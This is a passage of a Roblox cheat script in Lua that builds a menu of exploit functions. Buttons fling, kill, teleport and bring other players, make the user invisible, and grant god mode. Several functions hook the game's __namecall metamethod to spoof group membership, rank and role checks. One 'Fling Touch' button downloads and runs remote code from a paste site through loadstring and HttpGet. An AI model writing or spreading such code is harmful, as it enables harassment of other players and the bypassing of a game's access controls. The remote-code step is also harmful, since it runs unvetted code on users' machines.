  923. return game.StarterGui:SetCore("SendNotification", {Title = "Oops.", Text = "The player is in R6 animation. Try to write other player target name. Your player target should be in R15 Animation - Player R15 is required!", Duration = 15,})
  924. end
  925. if PlayerTarget.Character:FindFirstChild("Animate") then
  926. if plr.Character:FindFirstChild("Animate") then
  927. checkifmyanim = plr.Character:FindFirstChild("animstorage")
  928. if checkifmyanim then
  929. local z = plr.Character:FindFirstChild("Animate")
  930. if z then
  931. z:Destroy()
  932. end
  933. checkifmyanim.Name = "Animate"
  934. checkifmyanim.Disabled = false
  935. end
  936. end
  937. local z = plr.Character:FindFirstChild("Animate")
  938. if z then
  939. z.Name = "animstorage"
  940. z.Disabled = true
  941. end
  942. local newanim = PlayerTarget.Character.Animate:Clone()
  943. newanim.Parent = plr.Character
  944. newanim.Name = "Animate"
  945. end
  946. else
  947. animsteals = false
  948. if game.Players.LocalPlayer.Character:FindFirstChild("animstorage") then
  949. if game.Players.LocalPlayer.Character:FindFirstChild("Animate") then
  950. game.Players.LocalPlayer.Character:FindFirstChild("Animate"):Destroy()
  951. end
  952. local as = game.Players.LocalPlayer.Character:FindFirstChild("animstorage")
  953. as.Name = "Animate"
  954. as.Disabled = false
  955. end
  956. end
  957. end
  958. })
  959.  
  960. Player:AddButton({
  961. Name = "unAnchored Parts to Player",
  962. Callback = function()
  963. if sethidden then
  964. local Forces = {}
  965. for _,part in pairs(game.Workspace:GetDescendants()) do
  966. if PlayerTarget.Character:FindFirstChild("Head") and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(plr.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then
  967. for i,c in pairs(part:GetChildren()) do
  968. if c:IsA("BodyPosition") or c:IsA("BodyGyro") then
  969. c:Destroy()
  970. end
  971. end
  972. local ForceInstance = Instance.new("BodyPosition")
  973. ForceInstance.Parent = part
  974. ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
  975. table.insert(Forces, ForceInstance)
  976. if not table.find(frozenParts,part) then
  977. table.insert(frozenParts,part)
  978. end
  979. end
  980. end
  981. if not simRadius then
  982. SimRad()
  983. end
  984. for i,c in pairs(Forces) do
  985. c.Position = PlayerTarget.Character.Head.Position
  986. end
  987. end
  988. end
  989. })
  990.  
  991. Player:AddButton({
  992. Name = "Teleport To Player",
  993. Callback = function()
  994. plr.Character.HumanoidRootPart.CFrame = getRoot(PlayerTarget.Character).CFrame
  995. end
  996. })
  997.  
  998. Player:AddButton({
  999. Name = "Vehicle Teleport to Player",
  1000. Callback = function()
  1001. if PlayerTarget.Character ~= nil then
  1002. local seat = plr.Character:FindFirstChildOfClass('Humanoid').SeatPart
  1003. local vehicleModel = seat.Parent
  1004. repeat
  1005. if vehicleModel.ClassName ~= "Model" then
  1006. vehicleModel = vehicleModel.Parent
  1007. end
  1008. until vehicleModel.ClassName == "Model"
  1009. for i,v in pairs(vehicleModel.Parent:GetDescendants()) do
  1010. if v:IsA("BasePart") and v.Anchored then
  1011. if v.Anchored == false then
  1012. v:MoveTo(getRoot(PlayerTarget.Character).Position)
  1013. end
  1014. end
  1015. end
  1016. wait(0.1)
  1017. vehicleModel:MoveTo(getRoot(PlayerTarget.Character).Position)
  1018. end
  1019. end
  1020. })
  1021.  
  1022. Player:AddButton({
  1023. Name = "Fling Noclipped Player",
  1024. Callback = function()
  1025. flinghh = 1000
  1026. local lp = game.Players.LocalPlayer
  1027.  
  1028. if type(PlayerTarget) == "string" then return end
  1029.  
  1030. local oldpos = lp.Character.HumanoidRootPart.CFrame
  1031. local oldhh = lp.Character.Humanoid.HipHeight
  1032.  
  1033. local carpetAnim = Instance.new("Animation")
  1034. carpetAnim.AnimationId = "rbxassetid://282574440"
  1035. carpet = lp.Character:FindFirstChildOfClass('Humanoid'):LoadAnimation(carpetAnim)
  1036. carpet:Play(.1, 1, 1)
  1037.  
  1038. local carpetLoop
  1039.  
  1040. local tTorso = PlayerTarget.Character:FindFirstChild("Torso") or PlayerTarget.Character:FindFirstChild("LowerTorso") or PlayerTarget.Character:FindFirstChild("HumanoidRootPart")
  1041.  
  1042. spawn(function()
  1043. carpetLoop = game:GetService('RunService').Heartbeat:Connect(function()
  1044. pcall(function()
  1045. if tTorso.Velocity.magnitude <= 28 then -- if target uses netless just target their local position
  1046. local pos = {x=0, y=0, z=0}
  1047. pos.x = tTorso.Position.X
  1048. pos.y = tTorso.Position.Y
  1049. pos.z = tTorso.Position.Z
  1050. pos.x = pos.x + tTorso.Velocity.X / 2
  1051. pos.y = pos.y + tTorso.Velocity.Y / 2
  1052. pos.z = pos.z + tTorso.Velocity.Z / 2
  1053. lp.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(pos.x,pos.y,pos.z))
  1054. else
  1055. lp.Character.HumanoidRootPart.CFrame = tTorso.CFrame
  1056. end
  1057. end)
  1058. end)
  1059. end)
  1060.  
  1061. wait()
  1062.  
  1063. lp.Character.Humanoid.HipHeight = flinghh
  1064.  
  1065. wait(.5)
  1066.  
  1067. carpetLoop:Disconnect()
  1068. wait()
  1069. lp.Character.Humanoid.Health = 0
  1070. wait(game.Players.RespawnTime + .6)
  1071. lp.Character.HumanoidRootPart.CFrame = oldpos
  1072. end
  1073. })
  1074.  
  1075. Player:AddButton({
  1076. Name = "Information about Player",
  1077. Callback = function()
  1078. OrionLib:MakeNotification({
  1079. Name = "Information about Player:",
  1080. Content = 'Name: '..PlayerTarget.Name..' | Character Name: '..PlayerTarget.Character.Name..' | DisplayName: '..PlayerTarget.DisplayName..' | Account Age: '..PlayerTarget.AccountAge..' | User ID: '..PlayerTarget.UserId..' | Health: '..round(PlayerTarget.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | WalkSpeed: '..PlayerTarget.Character:FindFirstChildOfClass("Humanoid").WalkSpeed..' | JumpPower: '..PlayerTarget.Character:FindFirstChildOfClass("Humanoid").JumpPower,
  1081. Image = "",
  1082. Time = 10
  1083. })
  1084. end
  1085. })
  1086.  
  1087. Player:AddToggle({
  1088. Name = "View Player",
  1089. Default = false,
  1090. Callback = function(View)
  1091. if View == true then
  1092. if viewDied then
  1093. viewDied:Disconnect()
  1094. viewChanged:Disconnect()
  1095. end
  1096. viewing = PlayerTarget
  1097. game.Workspace.CurrentCamera.CameraSubject = viewing.Character
  1098. local function viewDiedFunc()
  1099. repeat wait() until PlayerTarget.Character ~= nil and getRoot(PlayerTarget.Character)
  1100. game.Workspace.CurrentCamera.CameraSubject = viewing.Character
  1101. end
  1102. viewDied = PlayerTarget.CharacterAdded:Connect(viewDiedFunc)
  1103. local function viewChangedFunc()
  1104. game.Workspace.CurrentCamera.CameraSubject = viewing.Character
  1105. end
  1106. viewChanged = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(viewChangedFunc)
  1107. else
  1108. View = false
  1109. if viewing ~= nil then
  1110. viewing = nil
  1111. end
  1112. if viewDied then
  1113. viewDied:Disconnect()
  1114. viewChanged:Disconnect()
  1115. end
  1116. game.Workspace.CurrentCamera.CameraSubject = plr.Character
  1117. end
  1118. end
  1119. })
  1120.  
  1121. Player:AddToggle({
  1122. Name = "Stare At Player",
  1123. Default = false,
  1124. Callback = function(Stareq)
  1125. if Stareq == true then
  1126. if stareLoop then
  1127. stareLoop:Disconnect()
  1128. end
  1129. if not plr.Character:FindFirstChild("HumanoidRootPart") and PlayerTarget.Character:FindFirstChild("HumanoidRootPart") then return end
  1130. local function stareFunc()
  1131. if plr.Character.PrimaryPart and PlayerTarget.Character ~= nil and PlayerTarget.Character:FindFirstChild("HumanoidRootPart") then
  1132. local chrPos= plr.Character.PrimaryPart.Position
  1133. local tPos= PlayerTarget.Character:FindFirstChild("HumanoidRootPart").Position
  1134. local modTPos=Vector3.new(tPos.X,chrPos.Y,tPos.Z)
  1135. local newCF=CFrame.new(chrPos,modTPos)
  1136. plr.Character:SetPrimaryPartCFrame(newCF)
  1137. elseif not PlayerTarget:FindFirstChild(game.Players) then
  1138. stareLoop:Disconnect()
  1139. end
  1140. end
  1141.  
  1142. stareLoop = game:GetService("RunService").RenderStepped:Connect(stareFunc)
  1143. else
  1144. Stareq = false
  1145. if stareLoop then
  1146. stareLoop:Disconnect()
  1147. end
  1148. end
  1149. end
  1150. })
  1151.  
  1152. Player:AddToggle({
  1153. Name = "Fling Player",
  1154. Default = false,
  1155. Callback = function(Flinglol)
  1156. if Flinglol == true then
  1157. plr.Character.Humanoid.PlatformStand = Platformstand
  1158. Flinging = true
  1159. local Thrust = Instance.new("BodyThrust", plr.Character.HumanoidRootPart)
  1160. Thrust.Force = Vector3.new(100000, 100000, 100000)
  1161. Thrust.Name = "FlingForce"
  1162. repeat
  1163. plr.Character.HumanoidRootPart.CFrame = getRoot(PlayerTarget.Character).CFrame
  1164. Thrust.Location = getRoot(PlayerTarget.Character).Position
  1165. game:GetService('RunService').Heartbeat:Wait()
  1166. until not getRoot(PlayerTarget.Character) or Flinging == false
  1167. else
  1168. Flinglol = false
  1169. Flinging = false
  1170. plr.Character.Humanoid.PlatformStand = false
  1171. for i,v in pairs(plr.Character.HumanoidRootPart:GetChildren()) do
  1172. if v.Name == "FlingForce" and v:IsA("BodyThrust") then
  1173. v:Destroy()
  1174. end
  1175. end
  1176. end
  1177. end
  1178. })
  1179.  
  1180. Player:AddToggle({
  1181. Name = "PlatformStand Fling",
  1182. Default = false,
  1183. Callback = function(pFlinglol)
  1184. if pFlinglol == true then
  1185. Platformstand = true
  1186. else
  1187. pFlinglol = false
  1188. Platformstand = false
  1189. end
  1190. end
  1191. })
  1192.  
  1193. Player:AddButton({
  1194. Name = "Give Tools To Player",
  1195. Callback = function()
  1196. game.Players.LocalPlayer.Character.Humanoid.Name = 1
  1197. local l = game.Players.LocalPlayer.Character["1"]:Clone()
  1198. l.Parent = game.Players.LocalPlayer.Character
  1199. l.Name = "Humanoid"
  1200. wait(0.1)
  1201. game.Players.LocalPlayer.Character["1"]:Destroy()
  1202. game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  1203. game.Players.LocalPlayer.Character.Animate.Disabled = true
  1204. wait(0.1)
  1205. game.Players.LocalPlayer.Character.Animate.Disabled = false
  1206. game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None"
  1207.  
  1208. for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do
  1209. if v:IsA("Tool") then
  1210. v.Parent = game:GetService("Players").LocalPlayer.Character
  1211. end
  1212. end
  1213.  
  1214. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = getRoot(PlayerTarget.Character).CFrame
  1215. end
  1216. })
  1217.  
  1218. Player:AddButton({
  1219. Name = "Bring Player",
  1220. Callback = function()
  1221. bring(speaker, PlayerTarget)
  1222. end
  1223. })
  1224.  
  1225. Player:AddButton({
  1226. Name = "Fast Bring Player",
  1227. Callback = function()
  1228. bring(speaker, PlayerTarget, true)
  1229. end
  1230. })
  1231.  
  1232. Player:AddButton({
  1233. Name = "Fast Bring Player [GodMode Method]",
  1234. Callback = function()
  1235. NOW = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
  1236. game.Players.LocalPlayer.Character.Humanoid.Name = 1
  1237. local l = game.Players.LocalPlayer.Character["1"]:Clone()
  1238. l.Parent = game.Players.LocalPlayer.Character
  1239. l.Name = "Humanoid"
  1240. wait(0.1)
  1241. game.Players.LocalPlayer.Character["1"]:Destroy()
  1242. game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  1243. game.Players.LocalPlayer.Character.Animate.Disabled = true
  1244. wait(0.1)
  1245. game.Players.LocalPlayer.Character.Animate.Disabled = false
  1246. game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None"
  1247. for i,v in pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
  1248. game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)
  1249. end
  1250. local function tp(player,player2)
  1251. local char1,char2=player.Character,player2.Character
  1252. if char1 and char2 then
  1253. char1.HumanoidRootPart.CFrame = char2.HumanoidRootPart.CFrame
  1254. end
  1255. end
  1256. local function getout(player,player2)
  1257. local char1,char2=player.Character,player2.Character
  1258. if char1 and char2 then
  1259. char1:MoveTo(char2.HumanoidRootPart.Position)
  1260. end
  1261. end
  1262. tp(PlayerTarget, game.Players.LocalPlayer)
  1263. wait(0.1)
  1264. tp(PlayerTarget, game.Players.LocalPlayer)
  1265. wait(0.3)
  1266. getout(game.Players.LocalPlayer, PlayerTarget)
  1267. wait(0.2)
  1268. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = NOW
  1269. end
  1270. })
  1271.  
  1272. Player:AddButton({
  1273. Name = "Kill Player",
  1274. Callback = function()
  1275. kill(speaker, PlayerTarget)
  1276. end
  1277. })
  1278.  
  1279. Player:AddButton({
  1280. Name = "Fast Kill Player",
  1281. Callback = function()
  1282. kill(speaker, PlayerTarget, true)
  1283. end
  1284. })
  1285.  
  1286. Player:AddButton({
  1287. Name = "ToolHandle Kill Player",
  1288. Callback = function()
  1289. local Char = plr.Character
  1290. local RS = game:GetService("RunService").RenderStepped
  1291. local Tool = Char:FindFirstChildWhichIsA("Tool")
  1292. local Handle = Tool and Tool:FindFirstChild("Handle")
  1293. if not Tool or not Handle then
  1294. return game.StarterGui:SetCore("SendNotification", {Title = "Warning!", Text = "You need to hold a 'Tool' that does damage on touchinterest. For example Sword or Knife.", Duration = 4,})
  1295. end
  1296. task.spawn(function()
  1297. while Tool and Char and PlayerTarget.Character and Tool.Parent == Char do
  1298. local Human = PlayerTarget.Character:FindFirstChildWhichIsA("Humanoid")
  1299. if not Human or Human.Health <= 0 then
  1300. break
  1301. end
  1302. for i, v1 in ipairs(PlayerTarget.Character:GetChildren()) do
  1303. v1 = ((v1:IsA("BasePart") and firetouchinterest(Handle, v1, 1, (RS.Wait(RS) and nil) or firetouchinterest(Handle, v1, 0)) and nil) or v1) or v1
  1304. end
  1305. end
  1306. game.StarterGui:SetCore("SendNotification", {Title = "Done!", Text = "ToolHandle Kill Stopped. Because player died/left or you just unequipped the tool.", Duration = 4,})
  1307. end)
  1308. end
  1309. })
  1310.  
  1311. Player:AddButton({
  1312. Name = "Look At Player",
  1313. Callback = function()
  1314. local preMaxZoom = game.Players.LocalPlayer.CameraMaxZoomDistance
  1315. local preMinZoom = game.Players.LocalPlayer.CameraMinZoomDistance
  1316. if plr.CameraMaxZoomDistance ~= 0.5 then
  1317. preMaxZoom = plr.CameraMaxZoomDistance
  1318. preMinZoom = plr.CameraMinZoomDistance
  1319. end
  1320. plr.CameraMaxZoomDistance = 0.5
  1321. plr.CameraMinZoomDistance = 0.5
  1322. wait()
  1323. if PlayerTarget.Character and PlayerTarget.Character:FindFirstChild('Head') then
  1324. game.Workspace.CurrentCamera.CFrame = CFrame.new(game.Workspace.CurrentCamera.CFrame.p, PlayerTarget.Character.Head.CFrame.p)
  1325. wait(0.1)
  1326. end
  1327. plr.CameraMaxZoomDistance = preMaxZoom
  1328. plr.CameraMinZoomDistance = preMinZoom
  1329. end
  1330. })
  1331.  
  1332. Player:AddLabel("Two Players")
  1333.  
  1334. Player:AddTextbox({
  1335. Name = "Player Name",
  1336. Default = "",
  1337. TextDisappear = true,
  1338. Callback = function(Walktofollow)
  1339. local Target = unpack(GetPlayer(Walktofollow))
  1340. PlayerTargettwo = Target
  1341. end
  1342. })
  1343.  
  1344. Player:AddButton({
  1345. Name = "Teleport Player to Player",
  1346. Callback = function()
  1347. if getRoot(PlayerTarget.Character) and getRoot(PlayerTargettwo.Character) then
  1348. if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
  1349. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  1350. wait(.1)
  1351. end
  1352. teleport(speaker,PlayerTarget,PlayerTargettwo)
  1353. end
  1354. end
  1355. })
  1356.  
  1357. Player:AddButton({
  1358. Name = "Fast Teleport Player to Player",
  1359. Callback = function()
  1360. if getRoot(PlayerTarget.Character) and getRoot(PlayerTargettwo.Character) then
  1361. if speaker.Character:FindFirstChildOfClass('Humanoid') and speaker.Character:FindFirstChildOfClass('Humanoid').SeatPart then
  1362. speaker.Character:FindFirstChildOfClass('Humanoid').Sit = false
  1363. wait(.1)
  1364. end
  1365. teleport(speaker,PlayerTarget,PlayerTargettwo, true)
  1366. end
  1367. end
  1368. })
  1369.  
  1370. LP:AddLabel("Group Stats")
  1371.  
  1372. LP:AddTextbox({
  1373. Name = "IsInGroup",
  1374. Default = "",
  1375. TextDisappear = true,
  1376. Callback = function(grid)
  1377. OrionLib:MakeNotification({
  1378. Name = "Tutorial",
  1379. Content = "Write number id of group to bypass the checkfunction.",
  1380. Image = "rbxassetid://6023426945",
  1381. Time = 5
  1382. })
  1383. local grids = tonumber(grid)
  1384. local mt = getrawmetatable(game);
  1385. local nc = mt.__namecall
  1386. setreadonly(mt, false)
  1387.  
  1388. mt.__namecall = newcclosure(function(self, ...)
  1389. local Method = getnamecallmethod();
  1390. if Method == 'IsInGroup' then
  1391. return grids
  1392. end
  1393. return nc(self, ...)
  1394. end)
  1395. end
  1396. })
  1397.  
  1398. LP:AddTextbox({
  1399. Name = "Set Rank",
  1400. Default = "",
  1401. TextDisappear = true,
  1402. Callback = function(rankid)
  1403. OrionLib:MakeNotification({
  1404. Name = "Tutorial",
  1405. Content = "Write number of rank, for example: from 0 to 255.",
  1406. Image = "rbxassetid://6023426945",
  1407. Time = 5
  1408. })
  1409. local rankids = tonumber(rankid)
  1410. local mt = getrawmetatable(game);
  1411. local nc = mt.__namecall
  1412. setreadonly(mt, false)
  1413.  
  1414. mt.__namecall = newcclosure(function(self, ...)
  1415. local Method = getnamecallmethod();
  1416. if Method == 'GetRankInGroup' then
  1417. return rankids
  1418. end
  1419. return nc(self, ...)
  1420. end)
  1421. end
  1422. })
  1423.  
  1424. LP:AddTextbox({
  1425. Name = "Set Role",
  1426. Default = "",
  1427. TextDisappear = true,
  1428. Callback = function(roleid)
  1429. OrionLib:MakeNotification({
  1430. Name = "Tutorial",
  1431. Content = "Write name of role, for example: Manager, Admin, Moderator, etc.",
  1432. Image = "rbxassetid://6023426945",
  1433. Time = 5
  1434. })
  1435. local roleids = roleid
  1436. local mt = getrawmetatable(game);
  1437. local nc = mt.__namecall
  1438. setreadonly(mt, false)
  1439.  
  1440. mt.__namecall = newcclosure(function(self, ...)
  1441. local Method = getnamecallmethod();
  1442. if Method == 'GetRoleInGroup' then
  1443. return roleids
  1444. end
  1445. return nc(self, ...)
  1446. end)
  1447. end
  1448. })
  1449.  
  1450. LP:AddLabel("Character")
  1451.  
  1452. LP:AddSlider({
  1453. Name = "WalkSpeed",
  1454. Min = 0,
  1455. Max = 500,
  1456. Default = NOWW,
  1457. Color = Color3.fromRGB(255,255,255),
  1458. Increment = 1,
  1459. ValueName = "Speed",
  1460. Callback = function(Value)
  1461. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = Value
  1462. end
  1463. })
  1464.  
  1465. LP:AddSlider({
  1466. Name = "JumpPower",
  1467. Min = 0,
  1468. Max = 500,
  1469. Default = NOWJ,
  1470. Color = Color3.fromRGB(255,255,255),
  1471. Increment = 1,
  1472. ValueName = "Power",
  1473. Callback = function(Value)
  1474. game.Players.LocalPlayer.Character.Humanoid.JumpPower = Value
  1475. end
  1476. })
  1477.  
  1478. LP:AddSlider({
  1479. Name = "Gravity",
  1480. Min = 0,
  1481. Max = 196,
  1482. Default = NOWG,
  1483. Color = Color3.fromRGB(255,255,255),
  1484. Increment = 1,
  1485. ValueName = "Gravity",
  1486. Callback = function(Value)
  1487. game.Workspace.Gravity = Value
  1488. end
  1489. })
  1490.  
  1491. LP:AddSlider({
  1492. Name = "HipHeight",
  1493. Min = 0,
  1494. Max = 50,
  1495. Default = NOWH,
  1496. Color = Color3.fromRGB(255,255,255),
  1497. Increment = 1,
  1498. ValueName = "Height",
  1499. Callback = function(Value)
  1500. game.Players.LocalPlayer.Character.Humanoid.HipHeight = Value
  1501. end
  1502. })
  1503.  
  1504. LP:AddButton({
  1505. Name = "Standard WalkSpeed",
  1506. Callback = function()
  1507. game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = NOWW
  1508. end
  1509. })
  1510.  
  1511. LP:AddButton({
  1512. Name = "Standard JumpPower",
  1513. Callback = function()
  1514. game.Players.LocalPlayer.Character.Humanoid.JumpPower = NOWJ
  1515. end
  1516. })
  1517.  
  1518. LP:AddButton({
  1519. Name = "Standard HipHeight",
  1520. Callback = function()
  1521. game.Players.LocalPlayer.Character.Humanoid.HipHeight = NOWH
  1522. end
  1523. })
  1524.  
  1525. LP:AddButton({
  1526. Name = "Standard Gravity",
  1527. Callback = function()
  1528. game.Workspace.Gravity = NOWG
  1529. end
  1530. })
  1531.  
  1532. LP:AddButton({
  1533. Name = "Rejoin",
  1534. Callback = function()
  1535. local plr = game.Players.LocalPlayer
  1536.  
  1537. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, plr)
  1538. end
  1539. })
  1540.  
  1541. LP:AddButton({
  1542. Name = "Reset",
  1543. Callback = function()
  1544. game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Health = 0
  1545. end
  1546. })
  1547.  
  1548. function refresh()
  1549. local oldpos = plr.Character.HumanoidRootPart.CFrame
  1550. plr.Character.Humanoid.Health = 0
  1551. if plr.Character:FindFirstChild("Head") then plr.Character.Head:Destroy() end
  1552. plr.CharacterAdded:Wait()
  1553. plr.Character:WaitForChild("HumanoidRootPart")
  1554. plr.Character.HumanoidRootPart.CFrame = oldpos
  1555. end
  1556.  
  1557. LP:AddButton({
  1558. Name = "Refresh",
  1559. Callback = function()
  1560. if Noclipping then
  1561. Noclipping:Disconnect()
  1562. YesRefresh = true
  1563. end
  1564. refresh()
  1565. if YesRefresh == true then
  1566. Clip = false
  1567. wait(0.1)
  1568. Noclip()
  1569. YesRefresh = false
  1570. wait(0.1)
  1571. if Noclipping then
  1572. Noclipping:Disconnect()
  1573. end
  1574. end
  1575. end
  1576. })
  1577.  
  1578. LP:AddButton({
  1579. Name = "Refresh Model",
  1580. Callback = function()
  1581. plr.Character:ClearAllChildren()
  1582. local char = Instance.new("Model", workspace)
  1583. Instance.new("Humanoid", char)
  1584. plr.Character = char
  1585. end
  1586. })
  1587.  
  1588. LP:AddButton({
  1589. Name = "Respawn",
  1590. Callback = function()
  1591. game.Players.LocalPlayer.Character:Destroy()
  1592. game.Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):Destroy()
  1593. game.Players.LocalPlayer.Character.Head:Destroy()
  1594. getRoot(plr.Character):Destroy()
  1595. end
  1596. })
  1597.  
  1598. LP:AddButton({
  1599. Name = "Invisible BoxMethod",
  1600. Callback = function()
  1601.  
  1602. local Part = Instance.new('Part',workspace)
  1603. Part.Size = Vector3.new(5,0,5)
  1604. Part.Anchored = true
  1605. Part.CFrame = CFrame.new(Vector3.new(9999,9999,9999))
  1606. Character.PrimaryPart.CFrame = Part.CFrame*CFrame.new(0,3,0)
  1607. spawn(function()
  1608. wait(3)
  1609. Part:Destroy()
  1610. end)
  1611.  
  1612. if plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
  1613. local Clone = Character.LowerTorso.Root:Clone()
  1614. Character.LowerTorso.Root:Destroy()
  1615. Clone.Parent = Character.LowerTorso
  1616. else
  1617. local Clone = Character.HumanoidRootPart:Clone()
  1618. Character.HumanoidRootPart:Destroy()
  1619. Clone.Parent = Character
  1620. end
  1621.  
  1622. wait(1)
  1623. Character.PrimaryPart.CFrame = StoredCF
  1624.  
  1625. game.Players.LocalPlayer.Character.Animate:Destroy()
  1626. end
  1627. })
  1628.  
  1629. LP:AddToggle({
  1630. Name = "Invisible",
  1631. Default = false,
  1632. Callback = function(invisibleofc)
  1633. if invisibleofc == true then
  1634. if invisRunning then return end
  1635. invisRunning = true
  1636. -- Full credit to AmokahFox @V3rmillion
  1637. local Player = plr
  1638. repeat wait(.1) until Player.Character
  1639. local Character = Player.Character
  1640. Character.Archivable = true
  1641. InvisibleCharacter = Character:Clone()
  1642. InvisibleCharacter.Parent = game:GetService'Lighting'
  1643. local Void = game.Workspace.FallenPartsDestroyHeight
  1644. InvisibleCharacter.Name = ""
  1645. invisFix = game:GetService("RunService").Stepped:Connect(function()
  1646. pcall(function()
  1647. local IsInteger
  1648. if tostring(Void):find'-' then
  1649. IsInteger = true
  1650. else
  1651. IsInteger = false
  1652. end
  1653. local Pos = Player.Character.HumanoidRootPart.Position
  1654. local Pos_String = tostring(Pos)
  1655. local Pos_Seperate = Pos_String:split(', ')
  1656. local X = tonumber(Pos_Seperate[1])
  1657. local Y = tonumber(Pos_Seperate[2])
  1658. local Z = tonumber(Pos_Seperate[3])
  1659. if IsInteger == true then
  1660. if Y <= Void then
  1661. invisRespawn()
  1662. end
  1663. elseif IsInteger == false then
  1664. if Y >= Void then
  1665. invisRespawn()
  1666. end
  1667. end
  1668. end)
  1669. end)
  1670. for i,v in pairs(InvisibleCharacter:GetDescendants())do
  1671. if v:IsA("BasePart") then
  1672. if v.Name == "HumanoidRootPart" then
  1673. v.Transparency = 1
  1674. else
  1675. v.Transparency = .5
  1676. end
  1677. end
  1678. end
  1679. invisDied = InvisibleCharacter:FindFirstChildOfClass'Humanoid'.Died:Connect(function()
  1680. invisRespawn()
  1681. invisDied:Disconnect()
  1682. end)
  1683. if IsInvis == true then return end
  1684. IsInvis = true
  1685. CF = game.Workspace.CurrentCamera.CFrame
  1686. local CF_1 = Player.Character.HumanoidRootPart.CFrame
  1687. Character:MoveTo(Vector3.new(0,math.pi*1000000,0))
  1688. game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
  1689. wait(.2)
  1690. game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  1691. InvisibleCharacter = InvisibleCharacter
  1692. Character.Parent = game:GetService'Lighting'
  1693. InvisibleCharacter.Parent = game.Workspace
  1694. InvisibleCharacter.HumanoidRootPart.CFrame = CF_1
  1695. Player.Character = InvisibleCharacter
  1696. fixcam()
  1697. Player.Character.Animate.Disabled = true
  1698. Player.Character.Animate.Disabled = false
  1699. else
  1700. invisibleofc = false
  1701. TurnVisible()
  1702. end
  1703. end
  1704. })
  1705.  
  1706. LP:AddButton({
  1707. Name = "Fling Touch",
  1708. Callback = function()
  1709. local player = game.Players.LocalPlayer
  1710. local character1 = player.Character
  1711. local mouse = player:GetMouse()
  1712.  
  1713. local fakebody = Instance.new("Part", character1)
  1714. fakebody.Transparency = 1
  1715. fakebody.Anchored = true
  1716. fakebody.CanCollide = false
  1717. fakebody.Position = character1.Head.Position
  1718. fakebody.Name = "FPart"
  1719. wait()
  1720.  
  1721. _G.ReanimationType = "Fling" --PDeath, Fling, Simple
  1722. _G.Velocity = Vector3.new(36,0,0)
  1723. _G.FlingBlock = true
  1724. _G.FlingBlockTransparency = 1
  1725. _G.HighlightFlingBlock = true
  1726. _G.FlingBlockPosition = "FPart"
  1727. _G.HighlightFlingBlockColor = Color3.fromRGB(255,0,0)
  1728.  
  1729. loadstring(game:HttpGet("https://paste.ee/r/VwY6U"))()
  1730. end
  1731. })
  1732.  
  1733. LP:AddButton({
  1734. Name = "Fling Attachment",
  1735. Callback = function()
  1736. loadcharacter(plr.Character)
  1737. end
  1738. })
  1739.  
  1740. LP:AddButton({
  1741. Name = "God Mode",
  1742. Callback = function()
  1743. local Cam = workspace.CurrentCamera
  1744. local Pos, Char = Cam.CFrame, game.Players.LocalPlayer.Character
  1745. local Human = Char and Char:FindFirstChildWhichIsA("Humanoid")
  1746. local nHuman = Human:Clone(Human)
  1747. nHuman.Parent, game.Players.LocalPlayer.Character = Char, nil
  1748. nHuman.SetStateEnabled(nHuman, 15, false)
  1749. nHuman.SetStateEnabled(nHuman, 1, false)
  1750. nHuman.SetStateEnabled(nHuman, 0, false)
  1751. nHuman.BreakJointsOnDeath, Human = true, Human.Destroy(Human)
  1752. game.Players.LocalPlayer.Character, Cam.CameraSubject, Cam.CFrame = Char, nHuman, wait() and Pos
  1753. nHuman.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
  1754. local Script = Char.FindFirstChild(Char, "Animate")
  1755. if Script then
  1756. Script.Disabled = true
  1757. wait()
  1758. Script.Disabled = false
  1759. end
  1760. nHuman.Health = nHuman.MaxHealth
  1761. end
  1762. })
  1763.  
  1764. LP:AddButton({
  1765. Name = "God Mode [Humanoid Replacer]",
  1766. Callback = function()
  1767. game.Players.LocalPlayer.Character.Humanoid.Name = 1
  1768. local l = game.Players.LocalPlayer.Character["1"]:Clone()
  1769. l.Parent = game.Players.LocalPlayer.Character
  1770. l.Name = "Humanoid"
  1771. wait(0.1)
  1772. game.Players.LocalPlayer.Character["1"]:Destroy()
  1773. game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
  1774. game.Players.LocalPlayer.Character.Animate.Disabled = true
  1775. wait(0.1)
  1776. game.Players.LocalPlayer.Character.Animate.Disabled = false
  1777. game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None"
  1778. end
  1779. })
  1780.  
  1781. LP:AddButton({
  1782. Name = "unAnchored Parts to You",
  1783. Callback = function()
  1784. if sethidden then
  1785. local Forces = {}
  1786. for _,part in pairs(game.Workspace:GetDescendants()) do
